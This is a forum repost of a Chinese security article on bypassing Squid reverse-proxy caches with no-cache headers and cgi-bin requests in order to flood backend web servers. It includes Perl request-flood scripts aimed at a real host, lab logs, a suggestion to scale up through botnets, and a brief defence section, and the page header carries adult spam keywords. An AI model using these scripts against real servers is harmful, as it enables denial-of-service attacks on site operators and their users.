国产十八禁AV网站,欧美日韩亚洲国产综合乱,亚洲国产aⅴ成人精品无吗,秋霞午夜福利影院合集


       找回密碼
       注冊

      QQ登錄

      只需一步,快速開始

      利用HTTP指令進行攻擊-Cache篇

      [復制鏈接]
      1#
      發(fā)表于 2008-9-8 11:43:37 | 只看該作者 |倒序瀏覽 |閱讀模式
      <P><FONT face=宋體 size=3>利用HTTP指令進行攻擊 <BR>-Cache篇 <BR>Coolc&nbsp; <BR>Email:&nbsp;eanalysis&nbsp;AT&nbsp;gmail.com <BR>Homepage:blog.xfocus.net/coolc <BR>2006-6-7 <BR><BR>前言 <BR>&nbsp;&nbsp;&nbsp;&nbsp;Coolc早就有寫此篇文章的打算,其實文中更多的為技巧而非<A class=wordstyle href="http://www.hackdos.com/" target=_blank><FONT color=#0000ff>技術</FONT></A>,就內容上看,在真正滲透攻擊時造成的危害并非很大,但是這些內容體現了一種思路,就是從協(xié)議指令的思想去進一步挖掘<A class=wordstyle href="http://www.hackdos.com/" target=_blank><FONT color=#0000ff>漏洞</FONT></A>,進行可能的攻擊,我想這才是這篇文章最有價值的地方吧。也希望拙作能給同樣是從事<A class=wordstyle href="http://www.hackdos.com/" target=_blank><FONT color=#0000ff>網絡</FONT></A><A class=wordstyle href="http://www.hackdos.com/" target=_blank><FONT color=#0000ff>安全</FONT></A>的朋友,帶來一些靈感,也歡迎大家同我聯系。 <BR><BR>內容 <BR><A class=wordstyle href="http://www.hackdos.com/" target=_blank><FONT color=#0000ff>技術</FONT></A>背景 <BR>&nbsp;&nbsp;&nbsp;&nbsp;隨著Web<A class=wordstyle href="http://www.hackdos.com/" target=_blank><FONT color=#0000ff>技術</FONT></A>越來越廣泛的應用到我們的生活,Web應用的架構的設計者和開發(fā)者不得不面對這么一個問題,那就是Web不斷增長的訪問量和負載,隨之提升性能的相關<A class=wordstyle href="http://www.hackdos.com/" target=_blank><FONT color=#0000ff>技術</FONT></A>應運而生,如DNS輪詢、負載均衡、Cache<A class=wordstyle href="http://www.hackdos.com/" target=_blank><FONT color=#0000ff>技術</FONT></A>等等。如果有興趣,大家不妨對大型網站進行一下抓包,可以發(fā)現很多網站都采用了squid反向代理,通過Squid的Cache提供高速Web響應。 <BR><BR>攻擊原理 <BR>&nbsp;&nbsp;&nbsp;&nbsp;Cache機制不僅給服務器處理帶來了很大程度的性能提升,一定程度上,也大大提升了Web服務提供商應對Get&nbsp;Flood的能力。一般常見Cache架構如下圖: <BR><BR><BR>從上面的架構可以看出,用戶對網站的訪問,大多被分布的Cache服務器分擔了,由于Cache服務器的數量以及Cache的良好處理吞吐性能,即便發(fā)生了Get&nbsp;Flood等攻擊,此種機制也可以很好的自身消化掉攻擊負載,并且即便單一Cache主機癱瘓也不會對整體Web服務造成影響。如圖: <BR><BR><BR>通過架構分析,我們可以假設這樣一種形勢,如果攻擊者可以穿過Cache,直接將負載壓力傳達到后臺提供HTTP服務的服務器,將這臺機器攻擊癱瘓,那么前臺的服務器也將因為Cache無法得到更新而服務受到影響,達到拒絕服務的效果。如下圖所示: <BR><BR><BR>那么是否有方法可以達到上述效果呢?答案是肯定的,那就是通過HTTP指令來達到此種攻擊。 <BR>HTTP協(xié)議(v1.1和v1.0)都提供了Cache處理字段,其中字段Cache-Control(v1.0中為Pragma),當這個字段的值為no-cache時,大多數cache<A class=wordstyle href="http://www.hackdos.com/" target=_blank><FONT color=#0000ff>軟件</FONT></A>將不對請求作出響應,而直接將請求傳遞到后臺服務器,利用這個指令的機制,我們就可以實現我們所要達到的攻擊效果。 <BR><BR>效果驗證 <BR>為了驗證這種理論上的攻擊形式,Coolc架設了簡單的應用環(huán)境進行驗證。整個實驗環(huán)境架構如下: <BR><BR><BR>正常訪問 <BR>而在正常情況下,Squid會在內存Cache中處理所有請求,可以發(fā)現大多數請求的壓力根本無法到達Apache,而直接在Squid消化。如下所示,500個請求,只有一個到達了Apache,而這個訪問,只是Squid為了到Apache拉取最初始的文件內容造成的。 <BR>root@coolc:~/squid-2.5.STABLE12#cat&nbsp;apache-host.example.com-access_log&nbsp;|wc&nbsp;-l <BR>&nbsp;&nbsp;&nbsp;&nbsp;1 <BR>root@coolc:~/squid-2.5.STABLE12#&nbsp;cat&nbsp;squid_access.log&nbsp;|awk&nbsp;’{print&nbsp;$4’}|uniq&nbsp;-c <BR>499&nbsp;TCP_MEM_HIT/200 <BR><BR>指令繞過 <BR>當Squid在處理訪問時,如果發(fā)現特殊的標志位后,其將會直接將請求向后轉發(fā),同事將在訪問日志中記為一條TCP_CLIENT_REFRESH_MISS。通過下面試驗,我發(fā)送了500個帶特殊標志位的HTTP請求,直接越過了Cache,而將壓力直接加載到后臺,下面的結果我們驗證了效果 <BR><BR>用Pragma:&nbsp;no-cache繞過 <BR>root@coolc:~/squid-2.5.STABLE12#cat&nbsp;apache-host.example.com-access_log&nbsp;|wc&nbsp;-l <BR>&nbsp;&nbsp;&nbsp;&nbsp;500 <BR>root@coolc:~/squid-2.5.STABLE12#&nbsp;cat&nbsp;squid_access.log&nbsp;|awk&nbsp;’{print&nbsp;$4’}|uniq&nbsp;-c <BR>500&nbsp;TCP_CLIENT_REFRESH_MISS/200 <BR><BR>用Cache-Control:no-cache繞過 <BR>root@coolc:~/squid-2.5.STABLE12#&nbsp;cat&nbsp;apache-host.example.com-access_log&nbsp;|wc&nbsp;-l <BR>&nbsp;&nbsp;&nbsp;&nbsp;500 <BR>root@coolc:~/squid-2.5.STABLE12#&nbsp;cat&nbsp;squid_access.log&nbsp;|awk&nbsp;’{print&nbsp;$4’}|uniq&nbsp;-c <BR>&nbsp;&nbsp;&nbsp;&nbsp;500&nbsp;TCP_CLIENT_REFRESH_MISS/200 <BR><BR><BR><BR><BR>演示代碼: <BR>use&nbsp;I:Socket; <BR>#$host=shift(@ARGV); <BR>$i=1; <BR>while&nbsp;($i&lt;500)&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;$i++; <BR>&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;"\n$i\n"; <BR>&nbsp;&nbsp;&nbsp;&nbsp;$remote&nbsp;=&nbsp;I:Socket::INET-&gt;new(Proto&nbsp;=&gt;&nbsp;"tcp", <BR>&nbsp;&nbsp;&nbsp;&nbsp;PeerPort&nbsp;=&gt;&nbsp;"80", <BR>&nbsp;&nbsp;&nbsp;&nbsp;#PeerAddr&nbsp;=&gt;&nbsp;"blog.xfocus.net" <BR>&nbsp;&nbsp;&nbsp;&nbsp;PeerAddr&nbsp;=&gt;&nbsp;"test.qq.com" <BR>&nbsp;&nbsp;&nbsp;&nbsp;)||die(print&nbsp;"cant’t&nbsp;connet&nbsp;$!"); <BR>&nbsp;&nbsp;&nbsp;&nbsp;$remote-&gt;autoflush(1); <BR>&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&nbsp;$remote&nbsp;"GET&nbsp;/index.html&nbsp;HTTP/1.1\r\nAccept:image/gif&nbsp;image/x-xbitmap,&nbsp;image/jpeg,application/x-shockwave-flash\r\nReferer:&nbsp;<A href="http://www.google.com/" target=_blank><FONT color=#0000ff>http://www.google.com</FONT></A>\r\nAccept:-Language:&nbsp;zh-cn\r\nUser-Agent:&nbsp;Mozilla/4.0&nbsp;(compatible;&nbsp;MSIE&nbsp;6.0;&nbsp;</FONT><A class=wordstyle href="http://www.hack58.net/" target=_blank><U><FONT face=宋體 color=#0000ff size=3>Windows</FONT></U></A><FONT face=宋體 size=3>&nbsp;NT&nbsp;5.1;&nbsp;SV1;&nbsp;.NET&nbsp;CLR&nbsp;1.1.4322;&nbsp;.NET&nbsp;CLR&nbsp;2.0.50727;&nbsp;InfoPath.1)\r\nCache-Control:no-cache\r\nHOST:test.qq.com\n\n"; <BR>&nbsp;&nbsp;#print&nbsp;&lt;$remote&gt;; <BR>&nbsp;&nbsp;close&nbsp;$remote; <BR>&nbsp;&nbsp;#sleep&nbsp;1; <BR>&nbsp;&nbsp;&nbsp;&nbsp;} <BR><BR>實際應用 <BR>利用配置問題 <BR>在實際應用中的攻擊,也許對方網管會采取作Squid的ACL方法來屏蔽此種攻擊,但是實際環(huán)境中的攻擊種類和方法會更加多樣化,例如利用Squid默認配置中存在的問題,一樣可以達到靈巧利用此問題,并具有一定隱蔽性。 <BR><BR>場景某網管在Squid通過ACL做了no-cache過濾,使得加雜no-cahce的指令無法穿過,但是一樣遭到了Cache拒絕服務攻擊。 <BR><BR>攻擊原理 <BR>Squid的處理方式當返回為404、403時,通過cache處理減輕后臺Web<A class=wordstyle href="http://www.hackdos.com/" target=_blank><FONT color=#0000ff>系統(tǒng)</FONT></A>的負擔。 <BR>通過<A class=wordstyle href="http://www.hackdos.com/" target=_blank><FONT color=#0000ff>程序</FONT></A>用GET方式訪問500次不存在的文件“index.html。” <BR>查看squid的日志,cache住了絕大多數請求。 <BR>root@coolc:~/squid-2.5.STABLE12#&nbsp;cat&nbsp;squid_access.log&nbsp;|wc&nbsp;-l <BR>&nbsp;&nbsp;&nbsp;&nbsp;499 <BR>root@coolc:~/squid-2.5.STABLE12#&nbsp;cat&nbsp;&nbsp;squid_access.log&nbsp;|awk&nbsp;’{print&nbsp;$4’}|uniq&nbsp;-c <BR>499&nbsp;TCP_NEGATIVE_HIT/404 <BR>root@coolc:~/squid-2.5.STABLE12#&nbsp;cat&nbsp;apache-access_log&nbsp;|wc&nbsp;-l <BR>0 <BR><BR>而實際上傳到到Apache上的壓力為0,也就是幾乎沒有壓力。TCP_NEGATIVE_HIT解決了大多數的負載,導致攻擊壓力全部不能施加在后臺的Web服務器。 <BR>從Squid的配置文件里可以看到,Squid對于特殊錯誤的返回也是做了處理的,一樣做了Cache。 <BR><BR>#&nbsp;&nbsp;TAG:&nbsp;negative_ttl&nbsp;&nbsp;&nbsp;&nbsp;time-units <BR>#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Time-to-Live&nbsp;(TTL)&nbsp;for&nbsp;failed&nbsp;requests.&nbsp;&nbsp;Certain&nbsp;types&nbsp;of <BR>#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;failures&nbsp;(such&nbsp;as&nbsp;"connection&nbsp;refused"&nbsp;and&nbsp;"404&nbsp;Not&nbsp;Found")&nbsp;are <BR>#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;negatively-cached&nbsp;for&nbsp;a&nbsp;configurable&nbsp;amount&nbsp;of&nbsp;time.&nbsp;&nbsp;The <BR>#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;default&nbsp;is&nbsp;5&nbsp;minutes.&nbsp;&nbsp;Note&nbsp;that&nbsp;this&nbsp;is&nbsp;different&nbsp;from <BR>#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;negative&nbsp;caching&nbsp;of&nbsp;DNS&nbsp;lookups. <BR><BR><BR>是否有方式可以繞過cache機制和ACL限制,將類似404壓力施加到服務器上?答案時肯定的,那就是通過訪問cgi-bin目錄下的文件。 <BR><BR>通過執(zhí)行攻擊代碼我們同樣實現了對后臺主機的攻擊,穿透了Cache。 <BR>root@coolc:~/squid-2.5.STABLE12#&nbsp;cat&nbsp;squid_access.log&nbsp;|awk&nbsp;’{print&nbsp;$4’}|uniq&nbsp;-c <BR>499&nbsp;TCP_MISS/404 <BR><BR>root@coolc:~/squid-2.5.STABLE12#&nbsp;cat&nbsp;apache-access_log&nbsp;|wc&nbsp;-l <BR>499 <BR>從日志中可以發(fā)現如下痕跡。 <BR>172.16.10.1&nbsp;-&nbsp;-&nbsp;[08/Apr/2006:16:33:50&nbsp;-0800]&nbsp;"GET&nbsp;/cgi-bin/index.html1&nbsp;HTTP/1.0"&nbsp;404&nbsp;298 <BR>172.16.10.1&nbsp;-&nbsp;-&nbsp;[08/Apr/2006:16:33:50&nbsp;-0800]&nbsp;"GET&nbsp;/cgi-bin/index.html1&nbsp;HTTP/1.0"&nbsp;404&nbsp;298 <BR>172.16.10.1&nbsp;-&nbsp;-&nbsp;[08/Apr/2006:16:33:50&nbsp;-0800]&nbsp;"GET&nbsp;/cgi-bin/index.html1&nbsp;HTTP/1.0"&nbsp;404&nbsp;298 <BR>172.16.10.1&nbsp;-&nbsp;-&nbsp;[08/Apr/2006:16:33:50&nbsp;-0800]&nbsp;"GET&nbsp;/cgi-bin/index.html1&nbsp;HTTP/1.0"&nbsp;404&nbsp;298 <BR>實際上造成上述原因就死活因為默認配置中對于cgi-bin目錄做了特殊處理,導致對于其放開了Cache的限制。 <BR>#&nbsp;&nbsp;TAG:&nbsp;hierarchy_stoplist <BR>#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A&nbsp;list&nbsp;of&nbsp;words&nbsp;which,&nbsp;if&nbsp;found&nbsp;in&nbsp;a&nbsp;URL,&nbsp;cause&nbsp;the&nbsp;object&nbsp;to <BR>#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;be&nbsp;handled&nbsp;directly&nbsp;by&nbsp;this&nbsp;cache.&nbsp;&nbsp;In&nbsp;other&nbsp;words,&nbsp;use&nbsp;this <BR>#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;to&nbsp;not&nbsp;query&nbsp;neighbor&nbsp;caches&nbsp;for&nbsp;certain&nbsp;objects.&nbsp;&nbsp;You&nbsp;may <BR>#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;list&nbsp;this&nbsp;option&nbsp;multiple&nbsp;times.&nbsp;Note:&nbsp;never_direct&nbsp;overrides <BR>#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;this&nbsp;option. <BR>#We&nbsp;recommend&nbsp;you&nbsp;to&nbsp;use&nbsp;at&nbsp;least&nbsp;the&nbsp;following&nbsp;line. <BR>hierarchy_stoplist&nbsp;cgi-bin&nbsp;? <BR>#&nbsp;&nbsp;TAG:&nbsp;no_cache <BR>#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A&nbsp;list&nbsp;of&nbsp;ACL&nbsp;elements&nbsp;which,&nbsp;if&nbsp;matched,&nbsp;cause&nbsp;the&nbsp;request&nbsp;to <BR>#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;not&nbsp;be&nbsp;satisfied&nbsp;from&nbsp;the&nbsp;cache&nbsp;and&nbsp;the&nbsp;reply&nbsp;to&nbsp;not&nbsp;be&nbsp;cached. <BR>#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;In&nbsp;other&nbsp;words,&nbsp;use&nbsp;this&nbsp;to&nbsp;force&nbsp;certain&nbsp;objects&nbsp;to&nbsp;never&nbsp;be&nbsp;cached. <BR># <BR>#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;You&nbsp;must&nbsp;use&nbsp;the&nbsp;word&nbsp;’DENY’&nbsp;to&nbsp;indicate&nbsp;the&nbsp;ACL&nbsp;names&nbsp;which&nbsp;should <BR>#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NOT&nbsp;be&nbsp;cached. <BR># <BR>#We&nbsp;recommend&nbsp;you&nbsp;to&nbsp;use&nbsp;the&nbsp;following&nbsp;two&nbsp;lines. <BR>acl&nbsp;QUERY&nbsp;urlpath_regex&nbsp;cgi-bin&nbsp;\? <BR>no_cache&nbsp;deny&nbsp;QUERY <BR><BR>攻擊代碼: <BR>use&nbsp;I:Socket; <BR>#$host=shift(@ARGV); <BR>$i=1; <BR>while&nbsp;($i&lt;500)&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;$i++; <BR>&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;"\n$i\n"; <BR>&nbsp;&nbsp;&nbsp;&nbsp;$remote&nbsp;=&nbsp;I:Socket::INET-&gt;new(Proto&nbsp;=&gt;&nbsp;"tcp", <BR>&nbsp;&nbsp;&nbsp;&nbsp;PeerPort&nbsp;=&gt;&nbsp;"80", <BR>&nbsp;&nbsp;&nbsp;&nbsp;#PeerAddr&nbsp;=&gt;&nbsp;"blog.xfocus.net" <BR>&nbsp;&nbsp;&nbsp;&nbsp;PeerAddr&nbsp;=&gt;&nbsp;"test.qq.com" <BR>&nbsp;&nbsp;&nbsp;&nbsp;)||die(print&nbsp;"cant’t&nbsp;connet&nbsp;$!"); <BR>&nbsp;&nbsp;&nbsp;&nbsp;$remote-&gt;autoflush(1); <BR>&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&nbsp;$remote&nbsp;"GET&nbsp;/cgi-bin/index.html1&nbsp;HTTP/1.1\r\nAccept:image/gif&nbsp;image/x-xbitmap,&nbsp;image/jpeg,application/x-shockwave-flash\r\nReferer:&nbsp;<A href="http://www.google.com/" target=_blank><FONT color=#0000ff>http://www.google.com</FONT></A>\r\nAccept:-Language:&nbsp;zh-cn\r\nUser-Agent:&nbsp;Mozilla/4.0&nbsp;(compatible;&nbsp;MSIE&nbsp;6.0;&nbsp;</FONT><A class=wordstyle href="http://www.hack58.net/" target=_blank><U><FONT face=宋體 color=#0000ff size=3>Windows</FONT></U></A><FONT face=宋體 size=3>&nbsp;NT&nbsp;5.1;&nbsp;SV1;&nbsp;.NET&nbsp;CLR&nbsp;1.1.4322;&nbsp;.NET&nbsp;CLR&nbsp;2.0.50727;&nbsp;InfoPath.1)\r\nHOST:test.qq.com\n\n"; <BR>&nbsp;&nbsp;#print&nbsp;&lt;$remote&gt;; <BR>&nbsp;&nbsp;close&nbsp;$remote; <BR>&nbsp;&nbsp;#sleep&nbsp;1; <BR>&nbsp;&nbsp;&nbsp;&nbsp;} <BR><BR><BR>擴展思路 <BR>&nbsp;&nbsp;&nbsp;&nbsp;當然目前這種攻擊方式還僅僅是理論上的攻擊,比如攻擊代碼單線程,攻擊IP和特征明顯。很容易被識別并作ACL過濾。但是當我們擴展思路,如果我們利用大量的botnet或代理,變化所訪問的文件和HTTP指令內容進行攻擊,那么造成的攻擊將會更加有威力,并且難以識別。同時由于攻擊負責將直接加載于后臺,那么作為防御方的主機資源優(yōu)勢也大打折扣。 <BR><BR>防御方法 <BR>&nbsp;&nbsp;&nbsp;&nbsp;最簡單有效的方法無非是通過SQUID的配置中加載ACL禁用no-cache指令,不過此方法往往只在靜態(tài)頁面的服務器比較容易實現。 <BR><BR>如: <BR>acl&nbsp;LocalServers&nbsp;dst&nbsp;192.168.8.0/24 <BR>no_cache&nbsp;deny&nbsp;LocalServers <BR>總結 <BR>&nbsp;&nbsp;&nbsp;&nbsp;實際上HTTP指令的攻擊不僅僅與此,本身HTTP協(xié)議的擴展協(xié)議指令一樣有很多有待挖掘的地方,對于此種攻擊思路,雖然Coolc目前還沒看到相關的描述,但是個人感覺也許在地下組織中,這些思路早已出現,甚至已經有了成熟的工具,coolc在這里全當拋磚引玉,希望對<A class=wordstyle href="http://www.hackdos.com/" target=_blank><FONT color=#0000ff>網絡</FONT></A><A class=wordstyle href="http://www.hackdos.com/" target=_blank><FONT color=#0000ff>安全</FONT></A>有興趣的同仁可以同我聯系,共同討論研究。</FONT></P>
      您需要登錄后才可以回帖 登錄 | 注冊

      本版積分規(guī)則

      QQ|本地廣告聯系: QQ:905790666 TEL:13176190456|Archiver|手機版|小黑屋|汶上信息港 ( 魯ICP備19052200號-1 )

      GMT+8, 2025-4-20 11:34

      Powered by Discuz! X3.5

      © 2001-2025 Discuz! Team.

      快速回復 返回頂部 返回列表